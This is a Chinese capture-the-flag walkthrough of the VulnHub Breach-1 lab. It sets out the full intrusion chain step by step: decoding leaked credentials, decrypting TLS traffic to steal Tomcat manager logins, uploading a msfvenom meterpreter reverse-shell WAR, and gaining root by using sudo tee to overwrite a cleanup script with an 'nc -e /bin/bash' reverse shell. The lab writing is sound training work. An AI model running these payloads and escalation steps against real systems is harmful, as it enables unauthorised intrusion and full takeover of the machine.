一、环境搭建
1、官网下载链接:https://www.vulnhub.com/entry/breach-1,152/
2、下载下载之后,使用Oracle VM VirtualBox,导入环境
3、启动虚拟机,因为靶场虚机配置有静态IP地址(192.168110 140),需要将虚拟机网卡设置为host-only仅主机的方式。为了方便练习,我将kali攻击机,添加了一块虚拟网卡,第二块网卡设置的网段跟虚拟机同一网段。
kali虚拟机网络
二、攻略步骤
1、因为知道了靶场环境的ip地址,所以可以直接使用nmap扫描端口,查询突破口,但是扫描之后发现端口全是打开的,显然是做了防端口扫描
2、根据靶场规律,直接访问ip地址,发现有http服务
3、查看首页源码,发现有一串Base64加密的字符串
4、使用命令 echo Y0dkcFltSnZibk02WkdGdGJtbDBabVZsYkNSbmIyOWtkRzlpWldGbllXNW5KSFJo | base64 -d,解密
解密之后,还是一串base64的字符,再次解密,得到一串明文字符:pgibbons:damnitfeel$goodtobeagang$ta,暂时不知道作用,记下来
5、源码里有个地址,点开访问,发现另外的页面
6、打开Employee portal,进入到impresscms的登录界面
7、使用之前base64节解密出来的账号密码登录成功
8、使用命令,searchsploit impresscms,找到impresscms的/modules/profile/admin/field.php文件存在SQL注入漏洞,想要利用,但是发现没有权限访问该文件
9、看到有3个邮件消息,看是否有提示信息
第1封邮件,主要内容:让你的团队只能向管理门户发布任何敏感的内容。我的密码非常安全,发自ImpressCMS Admin Bill,如下:
第2封邮件,主要内容:Michael采购了IDS/IPS。
第3封邮件,主要内容:有一个peter的SSL证书被保存在192.168.110.140/.keystore
10、根据邮件提示,到下载包含SSL证书的密钥库keystore文件,keystore是存储公私密钥的一种文件格式,下载下来保存好
11、在左侧菜单一个个点开,发现目录列表,但是找不到可以利用的文件
12、点击View Account
菜单进入界面,再依次点击页面的Content
,会弹出一行链接Content SSL implementation test capture
,点击链接,如下图:
13、点开提示的,http://192.168.110.140/impresscms/modules/content/content.php?content_id=1,发现一个流量包文件,下载下来
14、该页面有重要的提示信息:这个pCAP文件是有红色团队的重新攻击产生的,但是不能读取文件。而且They told me the alias, storepassword and keypassword are all set to 'tomcat'
别名、Keystore密码、key密码都设置成tomcat
。由此推测:1)这是一个流量包文件,不能读取很可能因为某些流量有SSL加密(前面的邮件中提供了一个keystore,这里提供了密码;2)系统中可能存在tomcat。
15、接下来要使用keytool生成ssl加密证书
在下载了keystore文件的目录中打开终端,输入命令:keytool -list -keystore keystore,输入口令tomcat,查看keystore密钥库中的证书
接下来,从密钥库导出.p12证书,将keystore拷贝到keytool目录,导出名为:tomcatkeystore.p12的证书,输入命令:keytool -importkeystore -srckeystore keystore -destkeystore tomcatkeystore.p12 -deststoretype PKCS12 -srcalias tomcat
16、将生成的tomcatkeystore.p12证书,导入wireshark
1)使用wireshark打开下载的_SSL_test_phase1.pcap文件
2)点击编辑--首选项--Protocols--TLS,点击Edit编辑,IPaddress填写192.168.110.140,Port填写8443,Protocol填写http,Key File选择生成的tomcatkeystore.p12文件,Password填写tomcat
3)编辑好之后,看到下边TlsV1.2加密的部分,发现有疑似图片马,命令执行的数据包
17、分析浏览量数据包,发现一个Unauthorized的认证包,该request和response包含了Tomcat后台的登录地址:https://192.168.110.140:8443/_M@nag3Me/html
发现包含登录用户名密码的数据包, 采用http basic认证,认证数据包为:Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC,展开,看到明文的账号密码,用户名:tomcat,密码:Tt5D8F(#!*u=G)4m7zB
18、利用获取到的信息来getshell,首先登录tomcat后台
1)访问https://192.168.110.140:8443/_M@nag3Me/html,发现提示建立连接失败
2)打开Burpsuite,使用BP进行代理,将BP的代理模式关闭,让数据包自动放行,再次访问,出现的界面就不相同了,选择接受风险,出现tomcat登录窗口,输入之前得到的账号密码,登录成功
19、使用msfvenom生成后门文件,输入命令:msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.110.122 LPORT=1234 -f jsp -o shell.jsp
将shell.jsp进行压缩,输入命令:zip -r shell.zip shell.jsp
将shell.zip转化成war格式,用来上传到tomcat,输入命令:cp shell.zip shell.war
20、启动msfconsole,设置监听
输入命令: use exploit/multi/handler,进入监听要利用的exp
输入命令:set payload linux/x64/meterpreter/reverse_tcp,设置执行生成脚本使用的payload
输入命令:set lhost,设置生成后门时候设置的ip地址
输入命令:set lport,设置生成后门时候设置的监听端口
输入命令:run,开始监听
21、在tomcat管理界面,将生成是shell.war后门上传
上传之后,点击上传的源码,访问到生成的后门文件路径
访问https://192.168.110.140:8443/shell/shell.jsp,在msf下顺利拿到shell
22、执行命令,python -c 'import pty;pty.spawn("/bin/sh")' 得到一个交互式的shell
23、开始收集靶机内信息,想办法提权,看到两个值得关注的账户
在/var/www/5446目录下,看到两个文件名很特殊的文件
查看文件,发现是mysql的数据库连接文件,使用的root账户,不需要密码
24、输入命令,mysql -u root -p ,进入mysql,提示输入密码,直接回车,成功连接进入mysql数据库,查看账号密码,得到milton账户的密码哈希,解密为:thelaststraw
25、退出mysql,使用命令,su milton,输入密码,成功登录milton账户
26、账户milton目录下,发现的some_script.sh脚本,没有可利用的地方
26、查看系统内核,uname -a,得知内核版本为Linux Breach 4.2.0-27-generic
查看历史命令,发现有切换到blumbergh这个账户的操作,操作之后有切换到root的操作,所以可能提权要进入到blumbergh这个账户
27、继续收集信息,http://192.168.110.140/images/,目录下找到6张图片,milton用户目录下,发现1张图片
28、使用exiftool工具,查看图片,输入命令:exiftool bill.png ,发现密码:coffeestains
29、切换到blumbergh账户,输入之前图片中得到的密码,切换成功
进入blumbergh目录下,查看blumbergh账户的历史命令,发现/usr/share/cleanup目录下的,tidyup.sh脚本文件
一样进入目录,查看脚本,为root账户才能读写的,用来清理删除webapps目录下的文件的脚本
30、输入命令:sudo -l,查看能够root权限执行的命令有tee
31、进行最后一步的提权
tidyup.sh文件只有root可写,而能够以root权限运行tee命令,那么用tee命令写tidyup.sh:先将反弹shell命令写入shell.txt文件,使用bash反弹shell命令没有成功,于是使用nc命令反弹shell成功,所以写nc反弹命令:
cd /home/blumbergh,切换到blumbergh的家目录中,
echo "nc -e /bin/bash 192.168.110.122 2345" > shell.txt,将nc执行的反弹shell命令,写入到shell.txt文件
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh,使用tee命令将shell.txt内容输出到tidyup.sh
查看tidyup.sh文件写入成功:
32、kali攻击机中,输入命令:nc -lvvp 2345,监听2345端口的动静,等到一段时间,成功接到root的shell
33、查看/root目录下,有个flair.jpg的文件,应该是最后的flag,将文件再次复制到/var/www/html/images中,查看图片,成功得到flag
完